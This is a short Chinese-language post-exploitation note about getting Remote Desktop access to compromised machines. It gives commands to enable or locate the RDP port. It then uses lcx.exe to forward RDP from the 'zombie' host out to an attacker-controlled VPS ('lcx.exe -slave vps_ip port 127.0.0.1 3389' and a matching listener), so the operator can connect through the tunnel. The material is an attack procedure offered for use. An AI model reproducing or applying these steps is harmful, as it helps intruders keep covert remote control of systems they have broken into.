后渗透：远程连接的相关问题

1.3389未开

可以使用bat脚本来打开

2.3389端口被修改

terminal执行：tasklist /svc  查找名为TermSvice的pid编号

再执行netstat -ano

PID对应的端口

3.内网环境

端口转发：lcx.exe

肉鸡：

lcx.exe -slave vps_ip port 127.0.0.1 3389

vps

lcx.exe -listen 2222 3333

最后再在vps上远程桌面连接127.0.0.1:3333

但是有些比较安全的服务器厂商会对端口进行限制导致失败……